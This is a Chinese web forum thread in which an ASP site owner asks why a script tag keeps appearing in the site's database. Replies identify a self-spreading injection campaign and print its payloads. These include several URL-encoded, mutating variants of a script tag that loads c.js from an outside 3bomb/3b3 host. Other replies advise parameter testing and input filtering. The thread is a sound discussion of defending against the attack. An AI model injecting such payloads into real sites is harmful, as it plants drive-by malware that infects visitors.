数据库被注入

[csover8]

求救，做了个网站，asp的，时不时地被人在数据库里注入这样的字符：<script src=http://3b3.org/c.js></script>

清完后，还是会。为何？

网站我并未用ewebeditor这个编辑器的。

不是只有编辑器可以注入的！要么你的空间主机有漏洞要么你的代码有漏洞

最近一种新的挂马引擎开始出现，用GOOGLE搜索下com/c.js， 约有16,200个网站被挂马。

最终经过安全伞研究如下：

挂马引擎通过网页爬行技术不停的提交挂马代码，主要有%D3%AA%D1%F8<script%20src=http://3bomb.%63%6Fm/c.js></script>

中间部分不断变形

<script%20src=http://3b%6F%6Dbcom/c.js></script>

<script%20src=http://%33bomb.com/c.js></script>

IIS日志如下：

该木马通过Cookie,GET,POST注入挂马，使用搜索引擎自动查找并注入网站，有点蠕虫的性质。

[csover8]

代码严禁一下?

楼上的要表达什么意思？

[lzp4881]

作好参数测试，数据过滤

[Dogfish]

代码严禁一下就可以。
